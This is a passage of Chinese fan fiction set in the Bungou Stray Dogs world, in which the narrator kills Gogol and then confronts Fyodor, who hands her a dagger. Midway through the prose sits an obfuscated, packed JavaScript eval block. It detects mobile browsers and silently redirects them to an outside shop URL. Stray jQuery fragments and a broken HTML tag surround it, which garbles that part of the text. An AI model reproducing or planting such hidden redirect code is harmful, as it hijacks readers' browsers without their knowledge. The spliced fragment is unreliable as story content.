将现在正在缠斗的敌人消灭掉,这是目前消耗最小的办法。
而天人五衰的成员会面对后入场的武装侦探社,届时鹿死谁手便不再是我能干预的事情。
事发突然,这是我能想到的最优的处理方法。
然而战局就是那样瞬息万变的东西。
我刚要使用异能,却突然感受到一股压迫。抬起头,眼见重力的漩涡自上而下,狠狠砸向中心的包围圈。
战场顿时清空出一片真空地带。
一双锃亮的皮鞋轻巧落下,来人一手插兜,一身扶帽,如同一名高贵的绅士,分秒便接管了这场战斗。
中原中也还在因为污浊的副作用不省人事,那么只能是……
魏尔伦矗立在战场的中央,扫眼环视,如一位君王俯视着自己的臣民。
港口黑手党自然认为他是来帮助他们的,于是很是喜悦地唤了一句“干部大人”。
尾崎红叶却没有任何松口气的样子,她是在场少有的站直身体的人,用警惕的目光望着自己的同僚。
魏尔伦对他们微笑了一下,用优雅如大提琴的声音对他们说,
“看在首领的面子上,你们自己撤退吧。”
“什么?”满场哗然。
尾崎红叶低声问:“你要违抗首领的命令吗?”
魏尔伦洒脱一笑:“没办法,当师父的总要护着点徒弟。”
有了魏尔伦的插手,我立刻就有了充分的余裕,顺便把中岛敦放下。
临走前,我最后看了一眼太宰治。
他没有下达指令,什么都没说。看似在专心对付魏尔伦,其实相当漫不经心地瞥过来一眼。
那眼神很冷,就像科学家在打量自己的造物。
即便已经明晓了自己的身份,我依然不明白太宰治究竟想要做什么。
“请问,那位先生会加入天人五衰吗?”
一个掌握高速移动的异能者带着我,在中途这样询问道。
魏尔伦在那一刻展现的力量,足以引得任何一个组织垂涎。
“你没听他刚才说的吗?”我一边在半空吐血一边抽空回答她,“这是私人帮助。”
“原来如此……“
她先是有些失望,又很快艳羡道:“那位先生和您的关系真好啊。”
我感受了一番身体内部崩塌的速度,心想你可真是想多了。
以我们的交情可不至于让魏尔伦冒着背叛港口黑手党的风险——虽然这个人也不在意这些。
他保下我的目的的确只是出于单纯的私情,却不是关于我的私情。
他一直期待着一场风暴,能够将死亡之人从黑暗拉回的风暴。
很遗憾,要让他失望了。
在我死前,我不会拉回任何一个人的性命。
天人五衰的总部还是破破烂烂的,发生了这么多事,但距离中原中也砸场子总共也没过一天。
果戈里坐在没了房顶的三楼边,晃荡着腿,看到我们,很开心地瞬移到楼下,大声道:“好久不见呀!上一次见面还是上一次,我和费奥多尔君已经等很久啦!”
什么废话文学……我刚想这样说,突然反应过来。
“你说谁等很久了?”
果戈里看热闹的心藏都藏不住:“费奥多尔君哦。”
我望向门口,那扇不知何时已经打开的正门,一身白衣,头戴毡绒帽的费奥多尔如一道幽灵伫立在那里。
明明中岛敦已经说阻止了这场越狱……
“是不是有很多问题?按道理来说,他应该还在监狱里呀——要不要我和你分享一下我们是怎么是如何暗度陈仓的?”
果戈里连珠炮一样开口,围在我身边叽叽喳喳。
我的身体很疼,所以没空敷衍他,直接问我最关心的问题。
“西格玛呢?”
“他呀,他私通横滨那帮人,按理说应该灭口的。”
果戈里看着我说。
我没有反应。
仅凭西格玛便逃离天人五衰的掌控并不现实,但我相信他们不会对西格玛下手。
只要他们还想掌控我。
果戈里恶作剧没成功,却没有失望,反而笑得更开心了。
“虽然我很想告诉你啦,但是——”果戈里伸手,笑容堪比西伯利亚的风雪,“我们亲爱的白,你的任务应该已经圆满完成了吧?”
我把手伸进口袋里,装模作样掏啊掏,悄无声息用力一扯——
扯出一张书页来。
嘶。
一本书撕掉自己的书页是什么感觉?
如果将书页看作是身体部位,那么应该是扯掉肢体那般剧痛;但书又没有什么痛觉神经,可以说毫无感觉。
那么折中一下,我现在应当算个人,又不至于将书页当做自己乱七八糟的部位,只相当于将自己的力量扯出一块。
并不痛,但感觉自己少了点什么东西。
有点酸爽。
我从口袋将书页拿出来。
果戈里就要接过去,我却又收回手:“你不行,让费奥多尔亲自来拿。”
果戈里歪了歪头:“我怎么不行——”
他的胸膛溅出一朵漂亮的血花。
操纵时间,让子弹在命定的时刻出现,于是就连躲避也没有机会。
红色浸染了他洁白的斗篷,还有几滴喷溅到我素白色的裙子上。
我说:“这就是原因。”死人是不能帮忙转交东西的。
果戈里的身体向后倒去,有些惊讶,可是他的脸庞没有丝毫对于死亡的恐惧,还在感叹:“哦呀,一点杀气都没感觉到,真厉害啊。”
从人类的角度来看,他确实是一个十足的疯子。
我平淡地对他说:“你亲手杀死了本田小姐,这个仇我始终要报的。”
果戈里靠在身后的一棵树上,上半身的血已经完全浸透他的衣服,目光一错不错地望着我。
“为什么这么生气呢?”他用几乎是孩子的语气,对我说,“那么憎恨自己被操纵,情感却承受着那么多的桎梏,从始至终,都没有真正的自由。”
我问他:“那么临死前却还在询问我这些的你,又是想要什么答案呢?”
果戈里笑起来,他说话的气音已经有些勉强:“如果是你,应该会给我一个不同的答案。”
我能给出什么答案呢?我只是有一些微不足道的记忆而已。
所以我只能对他说:“你始终都在自己的位置上。”
“这样啊……”
他的目光垂下去,听不清是在失望还是悲凉。
我静静注视着他的尸体,感到藤原白在这个世界上的联系又断了一些。
我亲手伤害了所有爱我的人,杀死了恨我的人,到最后,牵绊尽消,剩下的只有身份。
费奥多尔来到我的身后,抽走我手中的书页。
“真无情,果戈里还挺喜欢你的。”
他一边写,一边随口道。
我感到讽刺:“喜欢?”
天人五衰的疯子有那种情绪吗?
“我也不理解。”
在这件事上,费奥多尔的薄凉更甚于我。他连果戈里的尸体都没有多看一眼。
“一个拼命挣脱木偶线的木偶,看到一个被层层包裹的茧。这时他心中涌起的,会是怜悯还是厌恶?”
费奥多尔没有多说,正如他表现的那样,并不在意。
一张书页洋洋洒洒写了小半张,他合上笔帽,将其交还给我。
他问:“那么作为幕后黑手的我,你打算什么时候杀死?”
书页化作星星点点的金色光芒,从费奥多尔伸着的手上消失。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133054|186680||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
我有些疑惑他的问题。
按照安排,距离他退场还有一会儿。
“你很期待吗?”
费奥多尔看着我,突然笑了下:“你变得有些不一样了。”
我不置可否。
“走吧,进去聊。”他转身向公馆走去。
我看了一会儿已经在树下合上双眼的果戈里,跟了上去。
“我的理想,是将整个世界的异能者都消灭掉。在拿到书页的那一刻我便知道,你能够帮我完成它。”
费奥多尔说这话时,语气平和得与一位普通的青年无异。
我预感他将我当做了某种可以倾诉的存在。
“你不觉得这个世界很畸形吗?异能使人与人之间有了本质的区别,异能者可以凭借其力量,轻而易举便做到普通人无法做到的事情,于是犯罪变成了一件轻而易举的事情。”
“可既然人都能被称之为人,那么又为什么会有异能的存在?”
我恍惚觉得他在质问我。
异能又从哪里来?
为什么这个世界上会有异能?又为什么只有一小部分人会有异能?
为什么,这个世界会有【书】呢?
难道命运就是理所应当会被某种事物轻易控制的存在吗?
我听见了他心里的这些诘问。
可是,上帝从不曾认为自己是上帝。
倘若当初太宰治没有将我抛向人间,我便只是他手里的一本普通的异能道具而已。
这样的我,又有什么资格回答他的问题呢?
费奥多尔似乎也没期待我的回答。对他来说,我是书页还是书,都没有什么差别
“我活了很久,想了很多年这个问题。这世间的争端大多都有异能参与,而异能就如氧气之于火焰,将灾难更强烈地吹向人类。”
“于是我便明白,人类就是这样,愚蠢、自私、不可救药、自取灭亡。”
他在某个房间门口停下,我站在他两步远的位置。
我无法回答他的问题,却因他的话语而沉思:“所以你才想要得到作为书页的我。”
用书页来更改这个世界的规则,像是他会做出的事情。
然而,出乎我意料,他回答:“书页对我来说没有任何用处。”
欸?
他偏头看我,嘴角带着点似有若无的微笑:“从始至终,我都是将你作为人类来算计的。”
我:“……”
虽然被算计并不是什么好事,但是费奥多尔的这番话还是令我有些复杂。
“谢谢。”我都已经习惯自己非人的身份了,未曾想还能从反派这里得到这份尊重。
费奥多尔推开门。
这是一间空荡的囚室,只有一张木桌,和一架大型的十字架。
西格玛就被绑在上面,垂着头,毫无意识。
但他还是活着的。我的异能捕捉到这一点。
费奥多尔对我说:“想必现在的你已经知道,你和这个世界有着怎样的牵绊了吧。”
他的话语让我想起在我加入天人五衰的前夕,在那个培养舱中与他打过的照面。
彼时的我曾在费奥多尔的引导下一厢情愿地认为,我所遭遇的一切都只是因为我更改了这个世界的命运而被反噬。
却不曾想过,倘若命运会被轻易更改,那么我的存在又何尝不是命运的一环?
“你可曾想过,世界只是一本被写好的书?”
费奥多尔说着当初曾对我说过的话语,走向木桌,从上面拿起一柄短匕甩向我。
我探手接住。
“你现在有两个选择:将这把匕首刺入到我的胸膛,或者你的胸膛。”
费奥多尔悠然道。
“如果世界只是一本书,那么将这本本源之书破坏掉,又会发生什么呢?”